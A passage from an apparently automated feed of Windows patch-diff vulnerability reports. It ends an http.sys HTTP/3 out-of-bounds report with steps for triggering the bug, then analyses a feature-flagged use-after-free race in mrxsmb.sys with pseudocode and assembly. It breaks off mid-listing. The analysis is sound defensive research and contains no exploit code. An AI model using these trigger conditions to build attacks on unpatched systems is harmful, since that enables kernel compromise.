&lt;p&gt;&lt;strong&gt;Consumer of the "usable" result.&lt;/strong&gt; Confirm that an ordinal accepted by the non-arg2 path is subsequently used as an index/pointer-arithmetic base in the dynamic-table lookup (e.g. &lt;code&gt;QkLookupElementFromOrdinal&lt;/code&gt; / &lt;code&gt;QkSearchTableByNameValue&lt;/code&gt;) so that acceptance of an out-of-range ordinal yields an actual OOB access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pool layout exploitability.&lt;/strong&gt; Practical exploitability depends on the kernel pool layout at access time; use &lt;code&gt;!pool&lt;/code&gt;, &lt;code&gt;!poolfind&lt;/code&gt;, and special pool to determine adjacent objects.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HTTP/3 availability.&lt;/strong&gt; The target must have HTTP/3 enabled and reachable (Windows Server 2022+/Windows 11+ with QUIC and an HTTP/3-registered application).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What a researcher should do first:&lt;/strong&gt;
- Attach a kernel debugger, break on &lt;code&gt;http!QkIsOrdinalUseable&lt;/code&gt;, and read &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; to confirm the OLD routine is live.
- Send a benign HTTP/3 request and confirm the breakpoint is hit.
- With the table non-full (or the result marker primed), send an OOB non-arg2 ordinal; observe whether &lt;code&gt;+0x80&lt;/code&gt; is reached with &lt;code&gt;dl == 0&lt;/code&gt; and &lt;code&gt;r8&lt;/code&gt; exceeding &lt;code&gt;+0x2018&lt;/code&gt;.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Use-after-free read of VNetRoot context in tree-connect completion (CWE-416), mitigated behind a feature flag</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_1a0fd87a-mrxsmb-report-20260703-152216.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/mrxsmb_1a0fd87a-mrxsmb-report-20260703-152216.html</id><summary type="html">&lt;p&gt;KB5089549&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary ID:&lt;/strong&gt; &lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary ID:&lt;/strong&gt; &lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9912&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; One function has a security-relevant behavioral change (&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;). All other differences between the two builds are WPP trace-GUID renaming, ETW/WPP trace-id renumbering, and decompiler variable-naming noise (no logic change). Two new WIL feature-staging helpers are present in the patched build (&lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;, &lt;code&gt;Feature_1116195130__private_IsEnabledFallback&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patched build adds a mitigation for a use-after-free read (CWE-416) in the SMB VNetRoot construction-completion handler &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;. In the tree-connect error path, the handler reads a pointer field from the VNetRoot context object after dropping its own reference to that object, and passes the value to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. Dropping the last reference queues an asynchronous teardown of the object, so the later read is a use-after-free only when that teardown races ahead and frees the object first. The mitigation pre-captures the pointer at function entry, but it is gated behind the WIL feature flag &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; and the original (vulnerable) re-read is retained on the disabled branch. This is a staged rollout: when the feature is off, the patched code behaves exactly like the unpatched code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free read (CWE-416) — race read of a freed VNetRoot context field&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; (unpatched @ 0x140001840, patched @ 0x14002D130)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; completes construction of an SMB VNetRoot (tree-connect) object. Its first argument (&lt;code&gt;rcx&lt;/code&gt;, kept in &lt;code&gt;rbp&lt;/code&gt; in the unpatched build) is the VNetRoot context pointer. When the completion status is negative, or when the response ShareType field at &lt;code&gt;*(config+0xBC)&lt;/code&gt; is not one of the recognized values, execution takes the error-cleanup path.&lt;/p&gt;
&lt;p&gt;On that path the function calls &lt;code&gt;SmbCeDereferenceVNetRootContext(rbp)&lt;/code&gt; at &lt;code&gt;0x14000197D&lt;/code&gt;, which drops one reference on the VNetRoot context. After that call the code computes &lt;code&gt;lea rcx, [rbp+0x18]&lt;/code&gt; at &lt;code&gt;0x140001989&lt;/code&gt; and, at the tail, executes &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; at &lt;code&gt;0x140001ACE&lt;/code&gt; to load &lt;code&gt;*(rbp+0x18)&lt;/code&gt; (the mini-redirector device object pointer). That value is passed as the first argument to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; at &lt;code&gt;0x140001AD6&lt;/code&gt;. Because &lt;code&gt;rbp&lt;/code&gt; still points into the VNetRoot allocation, reading &lt;code&gt;*(rbp+0x18)&lt;/code&gt; after the reference has been dropped is a use-after-free read.&lt;/p&gt;
&lt;p&gt;The free is not synchronous. &lt;code&gt;SmbCeDereferenceVNetRootContext @ 0x140001C10&lt;/code&gt; decrements the reference count at &lt;code&gt;*(context+0x8)&lt;/code&gt;; only when it reaches zero does it unlink the object and post &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; to a worker thread via &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; (at &lt;code&gt;0x140001D48&lt;/code&gt;). The actual free happens in that deferred teardown. Therefore the read at &lt;code&gt;*(rbp+0x18)&lt;/code&gt; is a use-after-free only if the teardown worker runs and frees the object during the short window before the tail read executes. It is a race, not a deterministic post-free read.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch behavior:&lt;/strong&gt; The patched &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; calls &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; at entry (&lt;code&gt;0x14002D16B&lt;/code&gt;); if it returns nonzero it reads &lt;code&gt;*(arg1+0x18)&lt;/code&gt; into a stack slot (&lt;code&gt;0x14002D174&lt;/code&gt;/&lt;code&gt;0x14002D178&lt;/code&gt;) before any reference is dropped. At the tail it calls the feature check again (&lt;code&gt;0x14002D4D9&lt;/code&gt;); if enabled it uses the pre-captured stack value (&lt;code&gt;0x14002D4FD&lt;/code&gt;), otherwise it re-reads &lt;code&gt;*(arg1+0x18)&lt;/code&gt; from the object (&lt;code&gt;0x14002D4F7&lt;/code&gt;), which is the same operation as the unpatched code. The mitigation is therefore only active when the feature is enabled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Call Chain:&lt;/strong&gt;
1. An application accesses a UNC path (e.g. &lt;code&gt;\\server\share&lt;/code&gt;), driving &lt;code&gt;MRxSmbCreateVNetRoot @ 0x140035AB0&lt;/code&gt;.
2. VNetRoot construction completes and calls &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; (call sites at &lt;code&gt;0x140001823&lt;/code&gt; and &lt;code&gt;0x1400360AA&lt;/code&gt;).
3. If the completion status is negative or the ShareType is unrecognized, the error-cleanup path runs and calls &lt;code&gt;SmbCeDereferenceVNetRootContext @ 0x140001C10&lt;/code&gt;.
4. The tail reads &lt;code&gt;*(rbp+0x18)&lt;/code&gt; and passes it to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. If the deferred &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; teardown has already freed the object, this read is a use-after-free.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;The unpatched build reads the device object pointer from the VNetRoot after dropping its reference; the patched build pre-captures it under a feature flag and retains the old read on the disabled branch.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED: SmbCeCompleteVNetRootConstruction @ 0x140001840&lt;/span&gt;
&lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
&lt;span class="c1"&gt;// rbp = arg1 (VNetRoot context), rbx = arg2 (RX context)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// error-cleanup path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// inline: acquire spinlock on *(rbp+0x18), decrement ActiveVNetRoots at *(rbp+0x1b0),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//         release spinlock, optional teardown when the count reaches zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// drops a ref; last ref queues async teardown&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x118&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// address into the (possibly freed) object&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x11c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// reads *(rbp+0x18) -&amp;gt; potential UAF read&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED: SmbCeCompleteVNetRootConstruction @ 0x14002D130&lt;/span&gt;
&lt;span class="c1"&gt;// ==========================================&lt;/span&gt;
&lt;span class="c1"&gt;// r14 = arg1 (VNetRoot context), rsi = arg2 (RX context)&lt;/span&gt;
&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// pre-capture BEFORE any deref (mitigation ON)&lt;/span&gt;

&lt;span class="c1"&gt;// ... error-cleanup path calls the pre-existing helper then drops the ref ...&lt;/span&gt;
&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// drops a ref; last ref queues async teardown&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// mitigation ON: use pre-captured value&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// mitigation OFF: same read as unpatched&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;Unpatched error-cleanup and return sequence (&lt;code&gt;SmbCeCompleteVNetRootConstruction @ 0x140001840&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001897&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;
&lt;span class="mi"&gt;00000001400018&lt;/span&gt;&lt;span class="n"&gt;C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001400018&lt;/span&gt;&lt;span class="n"&gt;D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeAcquireSpinLock&lt;/span&gt;
&lt;span class="mf"&gt;00000001400018E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+1B0h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ActiveVNetRoots&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;
&lt;span class="mi"&gt;000000014000197&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;
&lt;span class="mi"&gt;000000014000197&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drops&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001982&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+118h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001989&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;
&lt;span class="mi"&gt;000000014000198&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001990&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001AB7&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001996&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001AB4&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AB4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+110h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
